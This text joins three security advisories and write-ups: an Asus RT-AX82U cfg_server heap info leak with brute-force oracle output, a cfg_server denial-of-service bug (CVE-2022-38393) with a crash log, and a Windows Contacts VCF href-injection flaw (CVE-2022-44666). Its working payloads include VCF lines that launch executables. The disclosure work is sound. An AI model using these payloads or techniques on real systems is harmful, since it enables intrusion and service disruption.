    uint32_t tlv_subpkt2 = "\x00\x00\x00\x03",
    uint32_t sizeof_subpkt2,   
    uint32_t crcof_subpkt2,
    char client_nonce[ ],                      //[5]
}

The 

cm_processREQ_KU
 request provides the server with two different items that are used to generate the session key needed for all subsequent requests, the 
master_key
[3] and the 
client_nonce
[4]. A quick note before we get to that: Everything in the packet starting from the 
tlv_subpkt1
 field at [3] gets encrypted by the RSA public key that we get from the 
cm_processREQ_KU
 request, so there’s an implicit length limitation due to RSA encryption. Continuing on, the 
master_key
[4] buffer is used as the  
aes_ebc_256
 key that the server will use to encrypt the response to this packet, and the 
client_nonce
 buffer is used to generate a session key later on. Let us now examine what the server sends in return:

[~.~]> x/60bx $r1
0xb62014e0:     0x00    0x00    0x00    0x02    0x00    0x00    0x00    0x20 // headers
0xb62014e8:     0x06    0x42    0x18    0x4f    
   
0xb62014ec:     0x13    0x9f    0x09    0x97 // server nonce [6]
0xb62014f0:     0x90    0x92    0x9b    0x85    0xe5    0x40    0xa1    0x38
0xb62014f8:     0xd7    0x81    0x62    0x72    0xf6    0x88    0x5c    0xef
0xb6201500:     0x61    0x86    0x5c    0xc0    0xef    0xc0    0x06    0x23
0xb6201508:     0xa2    0x6d    0x6a    0x85    
                                 
0xb620150c:     0x00    0x00    0x00    0x03                     // headers
0xb6201510:     0x00    0x00    0x00    0x04    0x51    0xb3    0x28    0x43
0xb6201518:     0xcc    0xcc    0xcc    0xcc // [...]            // client nonce [7]

Both the 

server_nonce
 at [6] and the 
client_nonce
[7] are AES encrypted and sent back to us. Subsequent authentication consists of generating a session key from 
sha256(groupid + server_nonce + client_nonce)
. In order to hit our bug, we don’t even need to go that far. Let us take a quick look at how the AES encryption happens:

0001d8b0    void *aes_encrypt(char *enckey, char *inpbuf, int32_t inpsize, uint32_t outsize){
0001d8c8         int32_t ctx = EVP_CIPHER_CTX_new();
0001d8d4         if (ctx == 0){ ... }
0001d904         else {
0001d914              int32_t r0_2 = EVP_EncryptInit_ex(ctx: ctx, type: EVP_aes_256_ecb(), imple: null, key: enckey, iv: nullptr);

We don’t need to delve too much into what occurs; it suffices to know that the key is passed directly from the 

enckey
 parameter straight into the 
EVP_EncryptInit_ex
. Backing up to find what exactly is passed:

00057534 int32_t cm_processREQ_NC(int32_t clifd, struct ctrlblk *ctrl, void *tlvtype, int32_t pktlen, void *tlv_checksum, struct tlv_ret_struct* sess_block, char *pktbuf, uint32_t client_ip, char *cli_mac){
{...}
00058b58    void *aes_resp = aes_encrypt(enckey: sess_block->master_key, inpbuf: nonce_buff, inpsize: clinonce_len + sess_block->server_nonce_len + 0x18, outsize: &act_resp_b_size);

We can see it involves the masterkey that we provided. Let’s back up further in 

cm_processREQ_NC
 to see exactly how it’s populated:

00057534 int32_t cm_processREQ_NC(int32_t clifd, struct ctrlblk *ctrl, void *tlvtype, int32_t pktlen, void *tlv_checksum, struct tlv_ret_struct* sess_block, char *pktbuf, uint32_t client_ip, char *cli_mac){
// [...]
00057af4              int32_t req_type = decbuf_0x1002.request_type_le
00057af4              int32_t req_len = decbuf_0x1002.total_len_le
00057af4              int32_t req_crc = decbuf_0x1002.crc_mb
00057b00              int32_t reqlen = req_len u>> 0x18 | (req_len u>> 0x10 & 0xff) << 8 | (req_len u>> 8 & 0xff) << 0x10 | (req_len & 0xff) << 0x18
00057b08              int32_t reqcrcle_
00057b08              if (reqlen != 0)
00057b10                  reqcrcle_ = req_crc u>> 0x18 | (req_crc u>> 0x10 & 0xff) << 8 | (req_crc u>> 8 & 0xff) << 0x10 | (req_crc & 0xff) << 0x18
00057b18                  if (reqcrcle_ != 0)
00057bb4                      if (req_type != 0x1000000)  // master key [8]
                                    // [...]
00057c48                      int32_t decsize_m0xc = size_of_decrypted - 0xc
00057c50                      if (decsize_m0xc u< reqlen)  // [9]
                                    // [...]
00057cf0                      char (* var_1048_1)[0x1000] = &dec_buf_contents
00057d00                      if (do_crc32(IV: 0, buf: &dec_buf_contents, bufsize: reqlen) != reqcrcle_) [10]
                                    // [...]
00057d94                      sess_block->masterkey_size = reqlen
00057d9c                      char* aeskey_malloc = malloc(bytes: reqlen) // [11]
00057da8                      sess_block->master_key = aeskey_malloc
                                    // [...]
00057db8                      memset(aeskey_malloc, 0x0, reqlen);  
00057dd8                      memcpy(aeskey_malloc, &dec_buf_contents, reqlen); 

Trimming out all the error cases, we start from where the server starts reading the bytes decrypted with its RSA private key. All the fields have their endianess reversed, and the sub-request type is checked at [8]. A size check at [9] prevents us from doing anything silly with the length field in our master_key message, and a CRC check occurs at [10]. Finally the 

sess_block-&gt;master_key
 allocation occurs at [11] with a size that is provided by our packet.

Now, an important fact about AES encryption is that the key is always a fixed size, and for AES_256, our key needs to be 0x20 bytes. As noted above however, there’s not actually any explicit length check to make sure the provided 

master_key
 is 0x20 bytes. Thus, if we provide a 
master_key
 that’s say, 0x4 bytes, a 
malloc
memset
 and 
memcpy
 of size 0x4 will occur.  
aes_encrypt
 will read 0x20 bytes from the start of our 
master_key
’s heap allocation, resulting in an out-of-bound read and assorted heap data being included into the AES key that encrypts the response. While not exactly a straight-forward leak, we can figure out these bytes if we slowly oracle them out. Since we know what the last bytes of the response should be (the 
client_nonce
 that we provide), we can simply give a 
master_key
that’s 0x1F bytes, and then brute force the last byte locally, trying to decrypt the response with each of the 0xFF possibilities until we get one that correctly decrypts. Since we know the last byte, we can then move onto the second-to-last byte, and so-on and so forth, until we get useful data.

While the malloc that occurs can go into a different bucket based on the size of our provided 

master_key
, heuristically it seems that the same heap chunk is returned with a 
master_key
 of less than 0x1E bytes. A different chunk is returned if the key is 0x1F or 0x1E bytes long. If we thus give a key of 0x1D bytes, we have to brute-force 3 bytes at once, which takes a little longer but is still doable. After that we can go byte-by-byte again and leak important information such as thread stack addresses.

Crash Information

$python infoleak.py

Type: 1 (cm_processREQ_KU)
Len:  0x4
CRC:  0x56b642cd
===MSG===
\x11\x22\x33\x44
=========

b'\x00\x00\x00\x01\x00\x00\x00\x04V\xb6B\xcd\x11"3D'
[^_^] Importing:
-----BEGIN PUBLIC KEY-----
[...]
-----END PUBLIC KEY-----

Type: 3 (cm_processREQ_NC)
Len:  0x100
CRC:  0x92657321
===MSG===
\x1a\x54\xd7\x4a\xf6\x7a\xe1\x4c\x16\x76\x69\x74\x2b\x96\x41\xc6\xa0\xbc\x57\x58\x45\x61\xa9\xa9\x04\x09\xae\xb4\xb2\x9c\x54\xdd\xb8\xd1\x8f\x0d\x25\xf6\x79\x07\xd6\x65\x12\x75\xbb\x7d\x2d\x4e\x41\xf0\xa9\x47\x75\xa5\x73\x2d\x4c\x02\x10\x9e\xb1\x3a\x2c\xa5\x1c\x11\xfe\x35\x8e\xd3\x95\x53\xe5\x90\x3a\x9a\x8b\xad\x9b\x10\x81\xde\xd3\x67\x19\x9d\x34\x44\x52\x75\x1d\x90\xc7\xbf\x19\xf1\x04\x15\x19\xd4\x11\x2d\x70\xbd\xa9\x87\xdf\x22\x59\xc2\xb0\xb1\xd5\x7b\x5a\xcb\xe7\xc7\x34\x0f\xcb\xa6\x9f\x81\x5c\xb3\x6d\xf7\x1c\x49\xd7\xed\x72\x54\x85\xe0\xca\x32\x96\xa9\xa2\x44\xda\x56\xfb\xf7\x96\x21\x53\xb7\xbe\x9c\xc9\x5f\x4a\x00\xdb\x2f\xd2\x6e\x1b\xf5\xdc\xa9\xa5\x8f\xde\xf5\x80\x83\xd7\xd8\x65\xe8\x6f\xd6\x0a\x3e\x10\x92\xca\xd2\xbf\x14\x1c\x06\xf0\x53\xb5\x41\xea\x2a\xe2\x5c\x2a\xa8\xb9\xa2\x92\xe7\xd5\x44\x55\x1c\x8e\x9b\xff\x13\x37\x60\x5b\x82\xfa\xa0\xe7\x44\x8f\x0b\xe9\x8f\x64\xcd\xa4\x50\xe9\xcd\xbc\x14\x34\xed\x57\xc5\x0a\xaf\xc3\x8d\x71\xee\x48\x35\x90\xa6\xb7\x08\x6c\xfb\xb1\xbf\xee\x0c\x72\x21\xdf\x4e\x29\xf9
=========

[^_^] Leaked Bytes: 0x0000b620
b'\x00\x00\x00\x02\x00\x00\x00 \x1a=\xac\x11\xebVxU\xe7\\\xdb8\x02\\k\n<\x91_>\x17\xc6r\x08\xfc\xbc\xde\xf6\x1a\x1ev\xfa\x03_\xf0y\x00\x00\x00\x03\x00\x00\x00\x07\x10\xc1\x06\xa9\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x01'

Asus RT-AX82U cfg_server cm_processConnDiagPktList denial of service vulnerability

CVE-2022-38393

SUMMARY

A denial of service vulnerability exists in the cfg_server cm_processConnDiagPktList opcode of Asus RT-AX82U 3.0.0.4.386_49674-ge182230 router’s configuration service. A specially-crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386_49674-ge182230

PRODUCT URLS

RT-AX82U — https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

DETAILS

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

The 

cfg_server
 and 
cfg_client
 binaries living on the Asus RT-AX82U are both used for easy configuration of a mesh network setup, which can be done with multiple Asus routers via their GUI. Interestingly though, the 
cfg_server
 binary is bound to TCP and UDP port 7788 by default, exposing some basic functionality. The TCP port and UDP ports have different opcodes, but for our sake, we’re only dealing with a particular set of ConnDiag opcodes which look like such:

struct tlv_holder connDiagPacketHandlers = 
{
    uint32_t type = 0x5
    tlv_func *tfunc = cm_processREQ_CHKSTA
}
struct tlv_holder connDiagPacketHandlers[1] = 
{
    uint32_t type = 0x6
   tlv_func *tfunc = cm_processRSP_CHKSTA
}

The above TLVs are accessible from the 

cm_recvUDPHandler
 thread in a particular codeflow:

0001ed90      cm_recvUdpHandler()
              // [...]
0001edf8      int32_t bytes_read = recvfrom(sfd: cm_ctrlBlock.udp_sock, buf: &readbuf, len: 0x7ff, flags: 0, srcaddr: &sockadd, addrlen: &sockaddsize) // [1]
                // [...]
0001ee00      if (bytes_read == 0xffffffff)
                // [...]
0001ee98      else if (sockadd.sa_data[2].d != cm_ctrlBlock.self_address)
                // [...]
0001f0e0          char* malloc_824 = malloc(bytes: 0x824) // [2]
0001f0e4          struct udp_resp* inp = malloc_824
0001f0e8          if (malloc_824 != 0)
0001f184              memset(malloc_824, 0, 0x824)        // [3]
0001f194              memcpy(inp, &readbuf, bytes_read)
0001f198              int32_t ipaddr = sockadd.sa_data[2].d
0001f19c              inp->bytes_read = bytes_read
0001f1a4              int32_t ip = ipaddr u>> 0x18 | (ipaddr u>> 0x10 & 0xff) << 8 | (ipaddr u>> 8 & 0xff) << 0x10 | (ipaddr & 0xff) << 0x18
0001f1d4              snprintf(s: &inp->ip_addr_str, maxlen: 0x20, format: "%d.%d.%d.%d", ip u>> 0x18, ip u>> 0x10 & 0xff, ip u>> 8 & 0xff, ror.d(ip, 0) & 0xff, var_864, var_860, var_85c, var_858, var_854)
0001f1dc              int32_t var_838_1 = readbuf[4].d
0001f1dc              int32_t var_834_1 = readbuf[8].d
0001f1e8              if (readbuf[0].d == 0x6000000)      // [4]
0001f1f0                  r0_6 = cm_addConnDiagPktToList(inp: inp)

At [1], the server reads in 0x7ff bytes from its UDP 7788 port, and at [2] and [3], the data is then copied from the stack over to a cleared-out heap allocation of size 0x824. Assuming the first four bytes of the input packet are “\x00\x00\x00\x06”, then the packet gets added to a particular linked list structure, the 

connDiagUdpList
. Before we continue on though, it’s appropriate to list out the structure of the input packet:

struct tlv_pkt {
    uint32_t type;
    uint32_t datalen;
    uint32_t crc;
    uint8_t data[];
}

Continuing on, another thread is constantly polling the 

connDiagUdpList
, and if a packet is seen, then we jump over to 
cm_processConnDiagPktList()
:

00053ca8  int32_t cm_processConnDiagPktList()    
00053cc8      pthread_mutex_lock(mutex: &connDiagLock)
00053cd8      struct list* connDiagUdp = connDiagUdpList
00053ce8      if (connDiagUdp->entry_count s> 0)
00053d2c          for (struct listitem* item = connDiagUdp->tail; item != 0; item = item->next)
00053d30              struct udp_resp* input_pkt = item->inp
00053d38              if (input_pkt != 0)
00053d44                  uint32_t null = terminateConnDiagPktList
00053d4c                  if (null != 0)
00053d4c                      break
00053d50                  uint32_t hex_6000000 = input_pkt->req_type_le
00053d58                  uint32_t dlen = input_pkt->datalen_le
00053d68                  int32_t dlenle = input_pkt->bytes_read - 0xc  // [5]
00053d6c                  uint32_t crcle = input_pkt->crcle
                            // [...]
00053d80                  if (dlenle == (dlen u>> 0x18 | (dlen u>> 0x10 & 0xff) << 8 | (dlen u>> 8 & 0xff) << 0x10 | (dlen & 0xff) << 0x18)) //[6]
00053e0c                      char* buf = &input_pkt->readbuf
00053e18                      crc = do_crc32(IV: null, buf: buf, bufsize: dlenle) // [7]

At [5], the actual length of the input packet minus twelve is compared against the length field inside the packet itself [6]. Assuming they match, the CRC is then checked, another field provided in the packet itself. A flaw is present in this function, however, in that there is a check missing in this code path that can be seen in both the TCP and UDP handlers: the code needs to verify that the size of the received packet is >= 0xC bytes. Thus, if a packet is received that is less than 0xC bytes, the 

dlenle
 field at [5] underflows to somewhere between 
0xFFFFFFFC
 and 
0xFFFFFFFF
. The check against the length field [6] can be easily bypassed by just correctly putting the underflowed length inside the packet. The CRC check at [7] isn’t an issue, since if the 
bufsize
 parameter is less than zero, it automatically skips CRC calculation. Since a CRC skip results in a return value of 0x0, we need to make sure that the 
crc
 field is “\x00\x00\x00\x00”. Conveniently, this is handled already for us if our packet is only 8 bytes long, since the buffer that the packet lives in was 
memset
 to 0x0 beforehand.

While we can pass all the above checks with an 8-byte packet, it does prevent us from having any control over what occurs after. We end up hitting 

cm_processConnDiagPkt(uint32_t tlv_type, uint32_t datalen, uint32_t crc, char *databuf, char *ipaddr)
 which just passes us off to the appropriate TLV handler. Since our opcode has to be “\x00\x00\x00\x06”, we always hit 
cm_processRSP_CHKSTA(char *pktbuf, uint32_t pktlen, uint32_t ipaddr)
:

00052f20  int32_t cm_processRSP_CHKSTA(char* pktbuf, uint32_t pktlen, int32_t ipaddr)
00052f50      char jsonbuf[0x800]
00052f50      memset(&jsonbuf, 0, 0x800)
                             // [...]
00052f64      if (cm_ctrlBlock.group_key_ready != 0)
00053004          char* groupkey = cm_selectGroupKey(which_key: 1)
0005300c          if (groupkey == 0)
                                              // [...]
00053098              goto label_530a0
000530c0          char* r0_11 = do_decrypt(sesskey1: groupkey, sesskey2: cm_selectGroupKey(which_key: 0), pktbuf: pktbuf, pktlen: pktlen) //[8]

Assuming there is a group key (which there should always be, even if the AImesh setting is not configured), then we end up hitting the 

do_decrypt
 function at [8], which decrypts the data of our input packet with one of the groupkeys. The 
do_decrypt
 function ends up hitting 
aes_decrypt
 as shown below:

0001db18  void* aes_decrypt(char* sesskey1, char* pktbuf, char* pktlen, int32_t* outlen)
0001db30      int32_t ctx = EVP_CIPHER_CTX_new()
0001db38      int32_t outl = 0
0001db3c      void* ctx = ctx
0001db40      void* ret
0001db40      if (ctx == 0)
                                    // [...]
0001db6c      else
0001db6c          char* bytesleft = nullptr
0001db7c          int32_t r0_2 = EVP_DecryptInit_ex(ctx, EVP_aes_256_ecb(), 0, sesskey1, 0)
                                     // [...]
0001db84          if (r0_2 != 0)
0001dba0              *outlen = 0
0001dbac              void* alloc_size = EVP_CIPHER_CTX_block_size(ctx) + pktlen
0001dbb4              maloced = malloc(bytes: alloc_size)  // 0xc...
0001dbbc              if (maloced == 0)
                                                     //[...]
0001dbe4              else
0001dbe4                  memset(maloced, 0, alloc_size)
0001dbec                  void* mbuf = maloced
0001dbf0                  char* pktiter = pktlen
0001dc00                  void* inpbuf
0001dc00                  void* r3_2
0001dc00                  while (true)
0001dc00                      inpbuf = &pktbuf[pktlen - pktiter]
0001dc04                      if (pktiter u<= 0x10)
0001dc04                          break
0001dc10                      bytesleft = 0x10
0001dc1c                      int32_t r0_8 = EVP_DecryptUpdate(ctx, mbuf, &outl, inpbuf, 0x10) //[9]
0001dc20                      r3_2 = r0_8
0001dc24                      if (r0_8 == 0)
0001dc24                          break
0001dc60                      int32_t outl_len = outl
0001dc64                      pktiter = pktiter - 0x10
0001dc6c                      mbuf = mbuf + outl_len
0001dc74                      *outlen = *outlen + outl_len

For brevity’s sake, we can skip all the way to [9], where 

EVP_DecryptUpdate
 is called repeatedly in a loop over the input buffer. Since the 
pktlen
 argument has been underflowed to atleast 0xFFFFFFFC, it suffices to say that we have a wild read, resulting in a crash when reading unmapped memory.

Crash Information

potentially unexpected fatal signal 11.
CPU: 1 PID: 12452 Comm: cfg_server Tainted: P           O    4.1.52 #2
Hardware name: Generic DT based system
task: d04cd800 ti: d0632000 task.ti: d0632000
PC is at 0xb6c7f460
LR is at 0xb6d3ca04
pc : [<b6c7f460>]    lr : [<b6d3ca04>]    psr: 60070010
sp : b677c46c  ip : 00ff4ff4  fp : b6600670
r10: b6c7ef40  r9 : 00000000  r8 : beec0b82
r7 : b6600670  r6 : 00000010  r5 : b6620c38  r4 : 00ff5004
r3 : b6c7f440  r2 : 00000000  r1 : 00000000  r0 : 00000000
Flags: nZCv  IRQs on  FIQs on  Mode USER_32  ISA ARM  Segment user
Control: 10c5387d  Table: 1048c04a  DAC: 00000015
CPU: 1 PID: 12452 Comm: cfg_server Tainted: P           O    4.1.52 #2
Hardware name: Generic DT based system
[<c0026fe0>] (unwind_backtrace) from [<c0022c38>] (show_stack+0x10/0x14)
[<c0022c38>] (show_stack) from [<c047f89c>] (dump_stack+0x8c/0xa0)
[<c047f89c>] (dump_stack) from [<c003ac30>] (get_signal+0x490/0x558)
[<c003ac30>] (get_signal) from [<c00221d0>] (do_signal+0xc8/0x3ac)
[<c00221d0>] (do_signal) from [<c0022658>] (do_work_pending+0x94/0xa4)
[<c0022658>] (do_work_pending) from [<c001f4cc>] (work_pending+0xc/0x20)

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day).

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day).

Original text by j00sean

This is the story about another forgotten 0day fully disclosed more than 4 years ago by John Page (aka hyp3rlinx). To understand the report, you have to consider i’m stupid 🙂 And my stupidicity drives me to take longer paths to solve simple issues, but it also leads me to figure out another ways to exploit some bugs. Why do i say this? Because i was unable to quickly understand that the way to create a .contact file is just browsing to Contact folder in order to create the contact, instead of that, i used this info to first create a VCF file and then, i wrongly thought that this was some type of variant. That was also because of my brain can’t understand some 0days are forgotten for so long time ¯\(ツ)/¯ Once done that and after the «wontfix» replies by MSRC and ZDI, further investigations were made to increase the severity, finally reaching out .contact files and windows url protocol handler «ldap».

Details

  • Vendor: Microsoft.
  • App: Microsoft Windows Contacts.
  • Version: 10.0.19044.1826.
  • Tested systems: Windows 10 & Windows 11.
  • Tested system versions: Microsoft Windows [Version 10.0.19044.1826] & Microsoft Windows [Version 10.0.22000.795]

Intro

While i was reading the exploit code for this vulnerability which was actually released as 0day and it’s possible to find ZDI’s report.

Update 2022/07/21: After reporting this case to MS, MSRC’s folks rightly pointed me out Windows Contacts isn’t the default program to open VCF files.

Further research still demonstrates the default program for VCF files on Win7 ESU & WinServer2019 is Windows Contacts (wab.exe), otherwise MS People (PeopleApp.exe) is used. Here is a full table of this testing:

  • Windows 7: Default program for VCF files is Windows Contacts (wab.exe).
  • Windows Server 2019: Default program for VCF files is Windows Contacts (wab.exe).
  • Windows 10: Default program for VCF files is MS People (PeopleApp.exe).
  • Windows 10 + MS Office: Default program for VCF files is MS Outlook (outlook.exe).
  • Windows 11: Default program for VCF files is MS People (PeopleApp.exe).

Anyway they still argue there’s some social engineering involved such as opening a crafted VCF file and clicking on some links to exploit the bug so doesn’t meet the MSRC bug bar for a security update.

Update 2022/07/25: Well, after further research, it’s the same bug. I’ve been finally able to find a .contact proof of concept. It’s actually possible to correctly parse a .contact file using HTML entities. Note this solves the previous issue (Update 2022/07/21) and this file format (.contact) is opened by Windows Contacts, default program for this file extension, even when MS Office is installed in the system. It just needs a first file association if hasn’t yet been done, but the only program installed by default to do that is Windows Contacts.

Update 2022/07/25: This further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. I was finally able to get it working thanks to ldap uri scheme, which is associated by default to Windows Contacts application, so just setting a rogue LDAP server up and serving the payload data under mail, url or wwwhomepage attributes, the exploiting impact is increased because now it’s not needed to double click a malicious VCF/Contact file, we can deliver this using url protocols.

Update 2023/02/08: As a gesture of goodwill by MSRC, John Page (aka hyp3rlinx) has been included in the acknowledgement page for CVE-2022-44666 discovery.

Description

The report basically is the same than above links, however i’ve improved a bit the social engineering involved. In fact, the first thing that i made was to improve the way the links are seen, just like it were a XSS vulnerability, it’s actually an HTML injection so it’s possible to close the first anchor element and insert a new one. Then, i wanted to remove the visibility for those HTML elements so just setting as long «innerHTML» as possible would be enough to hide them (because of there are char limits).

This is the final payload used:

URL;WORK:"></a><a href="notepad">CLICKMEEEEE...</a>

To watch what happens, run procmon and setup a fake target of href attribute like this:

URL;WORK:"></a><a href="foo.exe">CLICKMEEEEE...</a>

Once clicked the link, an output like this is observed in procmon:

This is the stacktrace for the first «CreateFile» operation:

0	FLTMGR.SYS	FltpPerformPreCallbacksWorker + 0x36c	0xfffff806675a666c	C:\WINDOWS\System32\drivers\FLTMGR.SYS
1	FLTMGR.SYS	FltpPassThroughInternal + 0xca	0xfffff806675a611a	C:\WINDOWS\System32\drivers\FLTMGR.SYS
2	FLTMGR.SYS	FltpCreate + 0x310	0xfffff806675dc0c0	C:\WINDOWS\System32\drivers\FLTMGR.SYS
3	ntoskrnl.exe	IofCallDriver + 0x55	0xfffff8066904e565	C:\WINDOWS\system32\ntoskrnl.exe
4	ntoskrnl.exe	IoCallDriverWithTracing + 0x34	0xfffff8066909c224	C:\WINDOWS\system32\ntoskrnl.exe
5	ntoskrnl.exe	IopParseDevice + 0x117d	0xfffff806694256bd	C:\WINDOWS\system32\ntoskrnl.exe
6	ntoskrnl.exe	ObpLookupObjectName + 0x3fe	0xfffff8066941329e	C:\WINDOWS\system32\ntoskrnl.exe
7	ntoskrnl.exe	ObOpenObjectByNameEx + 0x1fa	0xfffff806694355fa	C:\WINDOWS\system32\ntoskrnl.exe
8	ntoskrnl.exe	NtQueryAttributesFile + 0x1c5	0xfffff80669501125	C:\WINDOWS\system32\ntoskrnl.exe
9	ntoskrnl.exe	KiSystemServiceCopyEnd + 0x25	0xfffff806692097b5	C:\WINDOWS\system32\ntoskrnl.exe
10	ntdll.dll	NtQueryAttributesFile + 0x14	0x7ff8f0aed4e4	C:\Windows\System32\ntdll.dll
11	KernelBase.dll	GetFileAttributesW + 0x85	0x7ff8ee19c045	C:\Windows\System32\KernelBase.dll
12	shlwapi.dll	PathFileExistsAndAttributesW + 0x5a	0x7ff8ef20212a	C:\Windows\System32\shlwapi.dll
13	shlwapi.dll	PathFileExistsDefExtAndAttributesW + 0xa1	0x7ff8ef2022b1	C:\Windows\System32\shlwapi.dll
14	shlwapi.dll	PathFileExistsDefExtW + 0x3f	0x7ff8ef2021ef	C:\Windows\System32\shlwapi.dll
15	shlwapi.dll	PathFindOnPathExW + 0x2f7	0x7ff8ef201f77	C:\Windows\System32\shlwapi.dll
16	shell32.dll	PathResolve + 0x154	0x7ff8eebb0954	C:\Windows\System32\shell32.dll
17	shell32.dll	CShellExecute::QualifyFileIfNeeded + 0x105	0x7ff8eebb05c9	C:\Windows\System32\shell32.dll
18	shell32.dll	CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e	0x7ff8eeb1e422	C:\Windows\System32\shell32.dll
19	shell32.dll	CShellExecute::_DoExecute + 0x6d	0x7ff8eeb1e1cd	C:\Windows\System32\shell32.dll
20	shell32.dll	<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d	0x7ff8eeb09fed	C:\Windows\System32\shell32.dll
21	SHCore.dll	_WrapperThreadProc + 0xe9	0x7ff8f098bf69	C:\Windows\System32\SHCore.dll
22	kernel32.dll	BaseThreadInitThunk + 0x14	0x7ff8f07e7034	C:\Windows\System32\kernel32.dll
23	ntdll.dll	RtlUserThreadStart + 0x21	0x7ff8f0aa2651	C:\Windows\System32\ntdll.dll

Setting a breakpoint in Shell32!ShellExecuteExW, we can have a clearer picture of the functions involved:

CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000   wab.exe 
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410      mov     qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

And the involved pseudo-code is the next:

_int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4)
{

...

      default:
        if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
          SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
        break;
    }
  }
  return 1i64;
}


__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3)
{
  const unsigned __int16 *v3; // rbx
  HWND v4; // rdi
  unsigned int v5; // ebx
  BOOL v6; // ebx
  __int64 v7; // rdx
  OLECHAR *v8; // rax
  signed int v10; // eax
  DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h]
  SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h]
  OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]

  v3 = a3;
  v4 = a1;
  memset_0(Dst, 0, 0x1048ui64);
  pcchCanonicalized = 2084;
  v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0);
  if ( (v5 & 0x80000000) == 0 )
  {
    v6 = UrlIsW(Dst, URLIS_FILEURL);
  pExecInfo.hProcess = 0i64;
      pExecInfo.hwnd = 0i64;
      pExecInfo.lpVerb = 0i64;
      _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64);
      *(_OWORD *)&pExecInfo.hInstApp = 0i64;
      *(_OWORD *)&pExecInfo.lpClass = 0i64;
      *(_OWORD *)&pExecInfo.dwHotKey = 0i64;
      if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE
      {
        v10 = GetLastError();
        v5 = (unsigned __int16)v10 | 0x80070000;
        if ( v10 <= 0 )
          v5 = v10;
      }
  }
  ...
}

After this, it’s clear the issue actually involves SysLink controls in comctl32.dll library and how the href attribute is parsed by wab32.dll library.

It isn’t possible to use remote shared locations or webdavs to exploit this.

URL;WORK:"></a><a href="\\127.0.0.1@80\test\payload.exe">CLICKMEEEEE...</a>
